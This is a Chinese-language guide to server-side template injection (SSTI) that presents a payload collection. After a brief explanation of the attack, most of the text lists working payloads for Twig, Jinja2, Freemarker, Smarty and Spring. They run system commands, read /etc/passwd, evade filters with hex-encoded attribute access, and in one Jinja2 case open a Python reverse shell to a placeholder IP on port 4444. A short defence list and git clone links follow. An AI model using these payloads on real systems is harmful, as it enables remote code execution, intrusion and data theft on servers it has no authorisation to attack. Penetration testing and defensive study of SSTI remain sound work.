SSTI-Payloads:一套针对服务器端模板注入技术的Payload集
字数 753 2025-08-15 21:31:34
服务器端模板注入(SSTI)攻击全面指南
1. SSTI基本概念
服务器端模板注入(Server-Side Template Injection, SSTI)是一种攻击技术,攻击者能够使用模板引擎的原生语法将恶意Payload注入到模板中,在服务器端执行。
1.1 模板引擎工作原理
模板引擎将固定模板与动态数据结合生成网页。当用户输入直接与模板内容连接(而非作为数据参数传入)时,就可能发生SSTI攻击。
1.2 攻击原理
攻击者注入任意模板指令操纵模板引擎,可能导致获取服务器完整控制权。SSTI比客户端模板注入更严重,因为Payload在服务器端执行。
2. SSTI漏洞影响
- 远程代码执行(RCE):完全控制后端服务器
- 敏感数据泄露:读取服务器上任意文件(如/etc/passwd)
- 内部网络攻击:作为攻击内部基础设施的跳板
- 权限提升:获取更高权限执行操作
3. 常见模板引擎及Payload
3.1 通用检测Payload
{{2*2}}
[[3*3]]
{{3*'3'}}
<%= 3 * 3 %>
${6*6}
${{3*3}}
@(6+5)
#{3*3}
3.2 各模板引擎特定Payload
Twig (PHP)
{{dump(app)}}
{{app.request.server.all|join(',')}}
{{['id']|filter('system')}}
{{['cat /etc/passwd']|filter('system')}}
Jinja2 (Python)
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip() }}
Freemarker (Java)
<#assign ex = "freemarker.template.utility.Execute"?new()> ${ ex("id") }
[#assign ex = 'freemarker.template.utility.Execute'?new()] ${ ex('id') }
${"freemarker.template.utility.Execute"?new()("id")}
Smarty (PHP)
{$smarty.version}
{php}echo `id`;{/php}
Java (Spring框架)
${T(java.lang.System).getenv()}
${T(java.lang.Runtime).getRuntime().exec('cat /etc/passwd')}
JavaScript引擎
a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval("new java.lang.String('xxx')")
4. 高级利用技术
4.1 文件读取
<%= File.open('/etc/passwd').read %>
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
4.2 反向Shell
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
4.3 反射利用
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr("__class__")}}
{{request.__class__}}
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
5. 防御措施
- 输入验证:严格验证所有用户输入
- 沙箱环境:在受限环境中执行模板
- 静态模板:尽可能使用静态模板
- 最小权限:模板引擎以最低必要权限运行
- 禁用危险功能:禁用模板引擎中的危险函数和方法
- 安全配置:正确配置模板引擎的安全设置
6. 资源获取
克隆Payload集合:
git clone https://github.com/payloadbox/ssti-payloads.git
# 或
git clone git@github.com:payloadbox/ssti-payloads.git